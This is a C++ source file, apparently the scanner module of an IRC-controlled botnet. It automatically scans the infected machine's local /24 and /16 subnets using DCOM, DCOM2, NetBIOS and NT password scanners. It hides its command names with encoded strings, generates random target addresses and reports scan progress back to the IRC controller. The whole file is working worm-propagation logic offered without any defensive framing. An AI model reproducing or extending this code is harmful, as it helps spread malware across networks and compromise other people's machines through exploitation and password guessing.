#include "main.h"
#include "scanner.h"
#include "mainctrl.h"
#include "nbscanner.h"
#include "ntscanner.h"
#include "dcomscanner.h"
#include "dcom2scanner.h"

void CScannerAuto::Init(){
#ifndef _DEBUG
		char szLocalIp[32]={0}; char szName[255]={0}; unsigned long lLocalIp;
		int i=0; hostent *hEnt;
		gethostname(szName, sizeof(szName)); hEnt=gethostbyname(szName);
		memcpy(&lLocalIp, hEnt->h_addr_list[0], hEnt->h_length);
		strcpy(szLocalIp, inet_ntoa(to_in_addr(lLocalIp)));
CString pBooga;
	if(g_cMainCtrl.m_cBot.scan_auto.bValue){
		pBooga.Format("_scan.dcom %s/24 1000000",szLocalIp);
		for(i=0;i<10;i++) g_cMainCtrl.m_autoCmd.Command(pBooga,"",true,false);
		pBooga.Format("_scan.dcom %s/16 10000000",szLocalIp);
		for(i=0;i<20;i++) g_cMainCtrl.m_autoCmd.Command(pBooga,"",true,false);
	}

#ifdef WIN32
if(g_cMainCtrl.m_cBot.scan_auto_nb.bValue==true){	
	pBooga.Format("_scan.ntpass %s/24 1000000",szLocalIp);
	for(i=0;i<10;i++) g_cMainCtrl.m_autoCmd.Command(pBooga,"",true,false);
	pBooga.Format("_scan.ntpass %s/16 10000000",szLocalIp);
	for(i=0;i<20;i++) g_cMainCtrl.m_autoCmd.Command(pBooga,"",true,false);

}
#endif // WIN32
#endif // _DEBUG
}

void CScanner::Init()
{	m_iNumThreads=0; m_bScanning=false;

	// Reset scan stats
	m_iDComStats=0; m_iDCom2Stats=0; m_iNBStats=0; m_iWDStats=0, m_iWKSStats=0;
#ifdef WIN32
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdNetBios,	dp(19,3,1,14,78,14,5,20,2,9,15,19,0).CStr(),	"",	this);
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdNtPass,	dp(19,3,1,14,78,14,20,16,1,19,19,0).CStr(),		"",	this);
#endif // WIN32
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdDCOM,		dp(19,3,1,14,78,4,3,15,13,0).CStr(),	"",		this);
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdDCOM2,	dp(19,3,1,14,78,4,3,15,13,70,0).CStr(),	"",		this);
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdStats,	dp(19,3,1,14,78,19,20,1,20,19,0).CStr(),	"",	this);

	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdScanAll,	dp(19,3,1,14,78,1,12,12,0).CStr(),	"",	this);
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdStop,		dp(19,3,1,14,78,19,20,15,16,0).CStr(),	"",	this); }

bool CScanner::HandleCommand(CMessage *pMsg){
	
	CString sRange(pMsg->sChatString.Token(1, " ")); int iTime=atoi(pMsg->sChatString.Token(2, " ").CStr());

	if(!pMsg->sCmd.Compare(m_cmdStats.sName.Str())) {
		if(m_iDComStats>0 || m_iDCom2Stats>0 || m_iNBStats > 0|| m_iNtPassStats > 0){
		g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, \
			"[Stats] DCOM: %i DCOM2: %i NetBios: %i", \
			m_iDComStats, m_iDCom2Stats, m_iNBStats); }}


#ifdef WIN32
	if(!pMsg->sCmd.Compare(m_cmdNetBios.sName.Str())) {	
		CScannerNetBios *pTemp=new CScannerNetBios; m_bScanning=true;
		pTemp->m_pScanner=this; pTemp->m_sRange.Assign(sRange);
		pTemp->m_iTime=iTime; pTemp->m_sReplyTo.Assign(pMsg->sReplyTo);
		pTemp->m_bSilent=pMsg->bSilent; pTemp->m_bNotice=pMsg->bNotice;
		pTemp->Start(); }

	if(!pMsg->sCmd.Compare(m_cmdNtPass.sName.Str())) {	
		CScannerNtPass *pTemp=new CScannerNtPass; m_bScanning=true;
		pTemp->m_pScanner=this; pTemp->m_sRange.Assign(sRange);
		pTemp->m_iTime=iTime; pTemp->m_sReplyTo.Assign(pMsg->sReplyTo);
		pTemp->m_bSilent=pMsg->bSilent; pTemp->m_bNotice=pMsg->bNotice;
		pTemp->Start(); }
#endif // WIN32

	if(!pMsg->sCmd.Compare(m_cmdDCOM.sName.Str())) {
		CScannerDCOM *pTemp=new CScannerDCOM; m_bScanning=true;
		pTemp->m_pScanner=this; pTemp->m_sRange.Assign(sRange);
		pTemp->m_iTime=iTime; pTemp->m_sReplyTo.Assign(pMsg->sReplyTo);
		pTemp->m_bSilent=pMsg->bSilent; pTemp->m_bNotice=pMsg->bNotice;
		pTemp->Start(); }

	if(!pMsg->sCmd.Compare(m_cmdDCOM2.sName.Str())) {
		CScannerDCOM2 *pTemp=new CScannerDCOM2; m_bScanning=true;
		pTemp->m_pScanner=this; pTemp->m_sRange.Assign(sRange);
		pTemp->m_iTime=iTime; pTemp->m_sReplyTo.Assign(pMsg->sReplyTo);
		pTemp->m_bSilent=pMsg->bSilent; pTemp->m_bNotice=pMsg->bNotice;
		pTemp->Start(); }

	if(!pMsg->sCmd.Compare(m_cmdScanAll.sName.Str())){ 
		
		CMessage *pBooga=pMsg;/*
		pBooga.bNotice=pMsg->bNotice;
		pBooga.bSilent=pMsg->bSilent;
		pBooga.sHost.Assign(pMsg->sHost.CStr());
		pBooga.sIdentd.Assign(pMsg->sIdentd.CStr());
		pBooga.sReplyTo.Assign(pMsg->sReplyTo.CStr());
		pBooga.sSrc.Assign(pMsg->sSrc.CStr());	*/
		CString Data;
		Data=pMsg->sChatString.Mid(pMsg->sChatString.Token(0," ").GetLength()+1);
		const char *sN;

		sN=m_cmdDCOM.sName.CStr();pBooga->sCmd.Format(sN);pBooga->sChatString.Format("%s %s",sN,Data.CStr());g_cMainCtrl.m_cBot.HandleMsgInt(pBooga);
		sN=m_cmdDCOM2.sName.CStr();pBooga->sCmd.Format(sN);pBooga->sChatString.Format("%s %s",sN,Data.CStr());g_cMainCtrl.m_cBot.HandleMsgInt(pBooga);
		sN=m_cmdNtPass.sName.CStr();pBooga->sCmd.Format(sN);pBooga->sChatString.Format("%s %s",sN,Data.CStr());g_cMainCtrl.m_cBot.HandleMsgInt(pBooga);

	}
	if(!pMsg->sCmd.Compare(m_cmdStop.sName.Str())) m_bScanning=false;

	return true; }

void *CScannerBase::Run()
{	if(!(g_cMainCtrl.m_cBot.scan_maxthreads.iValue<m_pScanner->m_iNumThreads))
	{	m_pScanner->m_iNumThreads++;
 
		if (g_cMainCtrl.m_cBot.scan_stfu.bValue==false)g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "[%s] Scanning Subnet %s for %d seconds.", m_sScannerName.CStr(), m_sRange.CStr(), m_iTime);

		int addr[10]; CString sTokens[10]; char *szIpBuf=(char*)malloc(20);
		unsigned long lTime=(unsigned long)m_iTime*1000; unsigned long lStart;
		CString sHost, sNetMask;

		sHost=m_sRange.Token(0, "/"); sNetMask=m_sRange.Token(1, "/");

		addr[1]=atoi(sHost.Token(0, ".").CStr()); addr[2]=atoi(sHost.Token(1, ".").CStr());
		addr[3]=atoi(sHost.Token(2, ".").CStr()); addr[4]=atoi(sHost.Token(3, ".").CStr());
		addr[5]=atoi(sNetMask.CStr());
			
		srand(GetTickCount()); lStart=GetTickCount();
		
		while(((GetTickCount()-lStart)<=lTime) && m_pScanner->m_bScanning)
		{	sprintf(szIpBuf, "%d.", addr[1]); int u;
			for(u=2; u<(addr[5]/8)+1; u++) { if(u<4) sprintf(szIpBuf, "%s%d.", szIpBuf, addr[u]); else sprintf(szIpBuf, "%s%d", szIpBuf, addr[u]); }
			for(int k=u; k<5; k++) { if(k<4) sprintf(szIpBuf, "%s%d.", szIpBuf, rand()%255); else sprintf(szIpBuf, "%s%d", szIpBuf, rand()%255); }

			if(TestHost(CString(szIpBuf))) StartScan(CString(szIpBuf)); }

		free(szIpBuf);

		if(m_pScanner->m_bScanning)g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "[%s] Scan of %s has finished in %d seconds.", m_sScannerName.CStr(), m_sRange.CStr(), (GetTickCount()-lStart)/1000);

		m_pScanner->m_iNumThreads--; }
	
	g_cMainCtrl.m_lCanJoin.push_back(this); return NULL; }
